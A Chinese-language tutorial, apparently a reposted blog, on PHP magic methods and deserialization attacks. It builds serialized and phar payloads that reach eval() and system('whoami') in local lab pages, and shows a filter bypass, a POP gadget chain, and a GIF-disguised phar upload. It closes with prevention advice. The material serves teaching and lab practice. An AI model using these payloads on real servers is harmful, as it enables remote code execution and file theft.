$person1->displayInfo(); // 打印:Name: John, Age: 30  
$person2->displayInfo(); // 打印:Name: Jane, Age: 25  
?>

__destruct

它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。

<?php  
class Person {  
    public $name;  
  
    // 构造函数  
    public function __construct($name) {  
        $this->name = $name;  
        echo "构造函数被调用,对象 {$this->name} 被创建。<br>";  
    }  
  
    // 析构函数  
    public function __destruct() {  
        echo "析构函数被调用,对象 {$this->name} 被销毁。<br>";  
    }  
}  
  
// 创建Person对象  
$person = new Person("John");  
  
// 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法  
?>

__toString

它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。

<?php  
class Person {  
    public $name;  
    public $age;  
  
    // 构造函数  
    public function __construct($name, $age) {  
        $this->name = $name;  
        $this->age = $age;  
    }  
  
    // __toString() 方法  
    public function __toString() {  
        return "Person Object (Name: {$this->name}, Age: {$this->age})";  
    }  
}  
  
// 创建Person对象  
$person = new Person("John", 30);  
  
// 当对象被当作字符串处理时,__toString() 方法会被自动调用  
echo $person; // 打印:Person Object (Name: John, Age: 30)  
?>

__invoke

允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。

<?php  
class Greeter {  
    public $name;  
  
    // 构造函数  
    public function __construct($name) {  
        $this->name = $name;  
    }  
  
    // __invoke() 方法  
    public function __invoke() {  
        echo "Hello, {$this->name}!<br>";  
    }  
}  
  
// 创建Greeter对象  
$greeter = new Greeter("World");  
  
// 当对象被当作函数调用时,__invoke() 方法会被自动调用  
$greeter(); // 打印:Hello, World!  
?>

__call

它在尝试调用一个对象中不可访问的方法时被调用。

class MyClass {  
    private function myPrivateMethod($param1, $param2) {  
        echo "调用了一个私有方法:$param1, $param2\n";  
    }  
  
    public function __call($name, $arguments) {  
        if ($name === 'myPrivateMethod') {  
            return $this->myPrivateMethod($arguments[0], $arguments[1]);  
        } else {  
            echo "尝试调用的方法 '$name' 不存在。\n";  
        }  
    }  
}  
  
$obj = new MyClass();  
$obj->myPrivateMethod('Hello', 'World'); // 调用私有方法  
$obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法

__sleep

它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)

class MyClass {  
    public $prop1 = 'value1';  
    public $prop2 = 'value2';  
    private $prop3 = 'value3';  
  
    public function __sleep() {  
        // 返回不需要被序列化的属性名称数组  
        return array('prop2');  
    }  
}  
  
$obj = new MyClass();  
$serialized = serialize($obj);  
echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2

一.初步认识

写入反序列化文件index.php,通过传参让页面出现phpinfo页面

class one
{
    var $b="phpinfo();";

    function action()
    {
        eval($this->b);//eval:用于执行一段php代码字符串。
    }
}

$a=unserialize($_GET['obj']);//将获取到的参数进行反序列化
$a->action();//执行这个方法

分析payload

O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}

image-20240728203541947

新建一个序列化test.php文件用于存放预构造的代码

<?php
​
class one
{
    var $b='eval($_GET[2]);';
​
    function action()
    {
        eval($this->b);
    }
}
​
$a=new one();
$a->action();
echo serialize($a);//实例化一个对象,将其序列化的内容打印出来

得到其序列化的结果,在我们的页面最下面

image-20240728205317031

我们将他反序列化-->index.php进行传参

image-20240728205358614

很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行

image-20240728210018019

emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉

image-20240728210032604

嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行

image-20240728210055297

注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的

image-20240728210618064

当然也可以使用这种payload

http://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami');

image-20240728213158471

在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的

二.简单利用

简单利用反序列化index.php代码参考:

<?php
class one
{
    var $b = 'echo 123;';
​
    function action()
    {
        eval($this->b);
    }
}
class Student
{
    var $a;
​
    function __construct()
    {
        $this->a = new one();
    }
​
    function __destruct()
    {
        $this->a->action();
    }
}
unserialize($_GET[1]);

新建一个test.php用于获取序列化结果,获取我们的参数

<?php
​
class one
{
    var $b = 'echo 123;';
​
    function action()
    {
        eval($this->b);
    }
}
​
class Student
{
    var $a;
    //构造函数,对象被实例化即new的时候调用
    function __construct()
    {
        $this->a = new one();
    }
    //折构函数:被销毁时候调用
    function __destruct()
    {
        $this->a->action();
    }
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}}

这时候再回到我们index.php

image-20240729094454902

可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷

<?php

class one
{
    var $b = 'system("whoami");';

    function action()
    {
        eval($this->b);
    }
}

class Student
{
    var $a;
    //构造函数,对象被实例化即new的时候调用
    function __construct()
    {
        $this->a = new one();
    }
    //折构函数:被销毁时候调用
    function __destruct()
    {
        $this->a->action();
    }
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}}

复制这个结果,使用具有反序列化漏洞的index.php进行传参

image-20240729094904495

三、相关绕过

任务:访问当前目录的1.txt文件

构造环境

创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。

image-20240729100332041

习题代码

<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{
    public $file;
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else
{
    highlight_file("./test4.php");
}
?>

这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。

既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化

image-20240729102904137

同上面一样构造序列化test.php

<?php

@error_reporting(1);
echo $_GET['data'];
class baby
{
    //构造你要读取的文件
    public $file="1.txt";
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
echo serialize(new baby());

image-20240729103212871

.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验

image-20240729103422559

可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)

payload  O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}

image-20240729122741458

四、开始上手

任务:读取 flag.游不动的鱼宝丶

class A
{
    public $mod1;
    public $mod2;
    //对象销毁之后调用
    public function __destruct()
    {
        $this->mod1->test1();
    }
}

class B
{
    public $mod1;
    public $mod2;

    public function test1()
    {
        $this->mod1->test2();
    }
}

class C
{
    public $mod1;
    public $mod2;
    //__call尝试调用一个对象中不可访问的方法时被调用。
    public function __call($test2, $arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}

class D
{
    public $mod1;
    public $mod2;
    //__invoke允许一个对象像函数那样被调用
    public function __invoke()
    {
        $this->mod2 = "字符串拼接" . $this->mod1;
    }
}

class E
{
    public $str1;
    public $str2;

    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}

class GetFlag
{
    public function get_flag()
    {
        echo "flag:" . "游不动的鱼宝丶";
    }
}

$a = $_GET['obj'];
unserialize($a);

我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法

image-20240729141440997

这里的字符串拼接,调用了__toString魔术方法

image-20240729141613497

C类中的成员以函数的形式调用了自己的成员

image-20240729142002670

B类中的函数调用了C类中的$test2成员

image-20240729142122451

最后销毁

image-20240729142306025

代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法

<?php
class A
{
    public $mod1;
    public $mod2;
    //通过 __construct()魔术方法,创建对象的时候自动调用
    public function __construct()
    {
        $this->mod1 = new  B();
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class B
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  C();
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}
class C
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  D();
    }
    public function __call($test2, $arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class D
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  E();
    }
    public function __invoke()
    {
        $this->mod2 = "字符串拼接" . $this->mod1;
    }
}
class E
{
    public $str1;
    public $str2;
    public function __construct()
    {
        $this->str1 = new  GetFlag();
    }
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:" . "游不动的鱼宝丶";
    }
}
$c = new A;
echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
​

序列化输出结果

image-20240729143728469

得到payload

O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

使用具有该反序列化漏洞的index.php

image-20240729144030410

总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。

Phar文件和Phar协议

前言

在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。

phar文件详解

Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。

phar文件分为四层

  1. Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>

  2. Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。

  3. Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。

  4. Signature(签名)(可选):验证Phar文件的完整性和真实性。

生成phar文件
1.准备环境

1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

php配置

image-20240729160528265

具体index.php代码,phar文件生成

<?php
class AnyClass{
    var $output = 'phpinfo();';
    function __destruct()
    {
        eval($this -> output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问index.php生成phar文件

image-20240729174413855

查看目录

image-20240729174440869

这里就有了序列化之后的结果

image-20240729174654715

Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:

  1. phar文件必须能上传到服务器;

  2. 存在可用的魔术方法作为攻击的“跳板”;

  3. 文件操作函数的参数可控,且特殊字符如./../phar等未被过滤。

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :

文件操作函数

image-20240729193959585

绕过技巧

1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3、绕过上传后缀检查

即使将文件后缀改为gif也不影响phar的文件最终执行

image-20240729221202538

执行index.php

image-20240729221130203

一.初步了解

任务:目标1.php界面任务执行phpinfo()

1、index.php代码(具有phar协议反序列化漏洞的代码)

<?php
class Files
{
    var $b = 'echo ok;';
    function __destruct()
    {
        eval($this->b);
    }
}
//$file = '../'.$_GET['file'];
is_dir('phar://phar.phar/test.txt');

2、test.php攻击代码

<?php
class Files{
    var $b = 'phpinfo();';
    function __destruct()
    {
        eval($this -> b);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new Files();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20240729192637278

这里我们执行我们的攻击代码,生成phar.phar文件

image-20240729192802963

可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)

image-20240729192839186

生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功

image-20240729192946420

看不出效果?那么这样呢

image-20240729193311833

访问test.php,为空白界面

image-20240729193131831

查看文件

image-20240729193342021

对payload的obj参数进行传参

image-20240729193401008

执行系统命令

image-20240729193457866

二、进一步了解

通过phar协议读取Destruct called

目标文件

class TestObject
{
    public function __destruct()
    {
        echo 'Destruct called';
    }
}
​
$filename = $_GET['cmd'];
file_get_contents($filename);

image-20240729222723132

分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码

1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中

phar.phar文件生成

image-20240729233055730

成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容

image-20240729233142057

扩展:练习

具体代码

class Test
{
    public $num = 2;
​
    public function __destruct()
    {
        if ($this->num === 1) {
            echo 'flag{123}';
        }
    }
}
echo file_get_contents($_GET['data']);

image-20240729233627801

(关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)

image-20240729233658296

再深入

任务:通过phar协议执行phpinfo

详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.

环境准备

1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件

2.www/目录(网站根目录)下新建upload_file文件夹

3.各个文件内容及解释

<?php
if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];
​
    if (file_exists("upload_file/" . $_FILES["file"]["name"])) {
        echo $_FILES["file"]["name"] . " already exists. ";
    } else {
        move_uploaded_file($_FILES["file"]["tmp_name"],
            "upload_file/" . $_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
} else {
    echo "Invalid file,you can only upload gif";
}

upload_file.php:内容做了一个上传文件后缀的限制

upload_file.php

image-20240729234247144

index.php 提供一个上传界面

<body>
<form action="/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

image-20240730001201869

page.php 目标可控点

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);//用于检查文件或目录是否存在

page.php

image-20240729234411782

分析

1.目标存在可控点以及文件操作函数

page.php分析

image-20240729234740648

受影响的文件操作函数表

image-20240729234950662

2.只有upload_file.php的对上传文件的后缀类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。

image-20240729235300227

所以这题我们就可以使用phar协议进行漏洞复现

开始解题

1、构造上传文件phar,test.php

<?php
class AnyClass{
    var $output = 'phpinfo();';
    function __destruct()
    {
        eval($this -> output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20240729235720606

检查我们的payload

image-20240730001523626

改文件名

image-20240729235814518

上传之前,新建一个upload_file文件夹

image-20240730001326080

因为这里测试的文件上传代码保存在这个文件夹中

image-20240730001421961

开始上传

image-20240729235930816

上传成功

image-20240730001244615

执行我们的payload漂亮!

image-20240730001659348

反序列化漏洞预防

使用安全的序列化/反序列化库

  • 选择经过安全审计的、维护良好的序列化库。

  • 避免使用已知存在安全漏洞的库。

限制反序列化的类型

  • 只允许反序列化预定义、可信的类。

  • 使用类型安全的序列化机制,如Java中的ObjectOutputStreamObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。

数据完整性验证

  • 在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。

  • 确保序列化数据在传输过程中未被篡改。

定期审计和测试

  • 定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。

  • 使用自动化工具和手动测试方法来检测和利用反序列化漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1962150.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

杭州等保测评的备案流程

杭州等级保护备案和测评&#xff0c;构筑了一座坚实的数字安全桥梁&#xff0c;其过程和条件清楚而又重要。这篇文章会详细介绍一些必要的步骤&#xff0c;以帮助你顺利地完成信息系统的安全和合规。 1. 系统识别与自评 在此基础上&#xff0c;首先要明确信息系统所承载的业务…

Zabbix配置监控参考

1 添加host 配置-主机-创建主机 添加主机名&#xff0c;IP&#xff0c;端口 2 添加监控项 配置-主机-监控项 打开后&#xff0c;点击右上角添加监控项&#xff08;进去后。配置想要的监控项目&#xff09; 3 添加CPU监控项 需求&#xff1a;CPU使用率 实现&#xff1…

【基础篇】Docker 容器操作 FOUR

嘿&#xff0c;小伙伴们&#xff01;我是小竹笋&#xff0c;一名热爱创作的工程师。在上一篇文章中&#xff0c;我们探讨了 Docker 镜像管理的相关知识。今天&#xff0c;让我们一起深入了解一下 Docker 容器的操作吧&#xff01; &#x1f4e6; 运行、停止和删除容器 Docker…

归并排序 python C C++ 代码及解析

一&#xff0c;概念及其介绍 归并排序&#xff08;Merge sort&#xff09;是建立在归并操作上的一种有效、稳定的排序算法&#xff0c;该算法是采用分治法(Divide and Conquer&#xff09;的一个非常典型的应用。将已有序的子序列合并&#xff0c;得到完全有序的序列&#xff…

商家转账到零钱开通最快捷径

商家转账到零钱存在一定的捷径&#xff0c;这一捷径将放在文章最后。如果商家希望自行开通&#xff0c;可以按照以下步骤进行申请&#xff1a; 1. 确认主体资格&#xff1a;申请主体必须是公司性质&#xff08;有限公司类型&#xff09;&#xff0c;个体工商户暂不支持申请&…

企业级Linux系统防护

一、企业级Linux系统防护概述 一&#xff09;企业级Linux系统安全威胁 企业级Linux系统安全威胁列表 解决的主要安全威胁安全威胁牵涉到的人员及操作文件系统防护避免有意/无意的文件篡改、越权访问&#xff0c;根用户&#xff08;root&#xff09;权限泛滥企业内部用户误操作、…

【Golang 面试 - 基础题】每日 5 题(九)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/UWz06 &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 Golang 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏…

Linux虚拟化技术KVM

文章目录 虚拟化基础什么是虚拟化虚拟化优势虚拟机虚拟机的主要特征Hypervisor类型类型1&#xff1a;裸金属型类型2&#xff1a;宿主型 KVM概述KVM体系结构KVM模块载入后的系统运行模式KVM集中管理和控制宿主机环境准备 安装KVM工具包libvirt包功能libvirt结构图安装KVM相关包C…

SEO优化 prerender-spa-plugin工具使用 踩坑记录

安装prerender-spa-plugin yarn add prerender-spa-plugin 或 npm install prerender-spa-plugin初始配置 后面记录踩的坑 配置路由 const routes [{path: /,redirect: {path: /HomeView},},{path: /home,redirect: {path: /HomeView},},{ path: /HomeView,component: HomeV…

postgresql密码复杂度验证和有效期

前言 为了数据库安全以及应对等保测评等要求&#xff0c;我们需要设置密码复杂度。我们通过passwordcheck模块实现复杂度检测功能。 启用密码复杂度验证 找到自己安装pg库的配置文件目录&#xff0c;修改postgresql.conf vim postgresql.conf修改如下内容 shared_preload_…

2023版IDEA安装通义灵码屡遭挫败:重复尝试,安装依旧失败

目录 背景: 过程: 第一步: 第二步: 第三步: 安装成功: 总结: 通义灵码的优点: 背景: 小编使用的是2023版本IDEA&#xff0c;在安装通义灵码的时候出现了一件很让人头痛的问题&#xff0c;我在IEDA中的插件中心里面去下载&#xff0c;但是当我我安装的进度条加载完成之…

命令行创建git仓库

方法1&#xff1a;初始化自己的仓库 git init创建完成之后可以用ls -a查看是否存在.git文件 如果不想要git仓库&#xff0c;可以使用rm -rf .git删除仓库 方法2&#xff1a;克隆别人的仓库 git clone [http][http]是仓库网址 总体流程 可以看到文件分为四种状态&#xff0c…

windows无法打开添加打印机原因分析及解决方法

在日常办公和生活中&#xff0c;打印机是不可或缺的重要设备。然而&#xff0c;有时在添加打印机的过程中&#xff0c;经常会遇各种问题。今天有个小伙伴问我windows无法打开添加打印机怎么回事&#xff1f;今天就教大家windows无法打开添加打印机原因分析及解决方法。 添加打打…

氧传感器在码头油气回收船岸安全装置中的重要作用

随着全球对环境保护和安全生产要求的日益提升&#xff0c;石化码头的油气回收问题已成为行业关注的焦点。在汽油、航煤、苯、对二甲苯等油品和化学品的装船过程中&#xff0c;大量油气挥发不仅加剧了大气污染&#xff0c;还潜藏着对人体健康的严重威胁。因此&#xff0c;推广和…

芋道以开源之名行下作之事 恬不知耻 标榜自己开源 公开源码+sql 不用再加入知识星球

资源 链接: https://pan.baidu.com/s/1TeuxbAUfLQ5_BqMBF1kniQ?pwdcqud 提 取码: cqud 依次为后端、补充版的sql、前端 此文档内安装部署等一应俱全

天气预报的爬虫内容打印并存储用户操作

系统名称&#xff1a; 基于网络爬虫技术的天气数据查询系统文档作者&#xff1a;清馨创作时间&#xff1a;2024-7-29最新修改时间&#xff1a;2024-7-29最新版本号&#xff1a; 1.0 1.背景描述 该系统将基于目前比较流行的网络爬虫技术&#xff0c;对网站上&#xff08;NowAPI…

数据结构之八大排序(上)

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a;数据结构&#xff08;Java版&#xff09; 目录 排序的相关介绍 直接插入排序 希尔排序&#xff08;缩小增量排序&#xff09; 选择排序 …

Datawhale AI夏令营 AI+逻辑推理 Task2总结

Datawhale AI夏令营 AI逻辑推理 Task2总结 一、大语言模型解题方案介绍 1.1 大模型推理介绍 ​ 推理是建立在训练完成的基础上&#xff0c;将训练好的模型应用于新的、未见过的数据&#xff0c;模型利用先前学到的规律进行预测、分类和生成新内容&#xff0c;使得AI在实际应…

【Linux】3.Linux 指令大揭秘:常见八个指令的妙用(下)

欢迎来到 CILMY23 的博客 &#x1f3c6;本篇主题为&#xff1a;Linux 指令大揭秘&#xff1a;常见八个指令的妙用&#xff08;下&#xff09; &#x1f3c6;个人主页&#xff1a;CILMY23-CSDN博客 &#x1f3c6;系列专栏&#xff1a;Python | C | C语言 | 数据结构与算法 | …

华为机试HJ76尼科彻斯定理

华为机试HJ76尼科彻斯定理 题目&#xff1a; 想法&#xff1a; 从题目可以找到规律&#xff0c;输出的第一个奇数为 ( 当前输入数值 − 1 ) 当前输入数值 1 (当前输入数值-1)当前输入数值1 (当前输入数值−1)当前输入数值1&#xff0c;输出是连续的输入数值个数个奇数&#…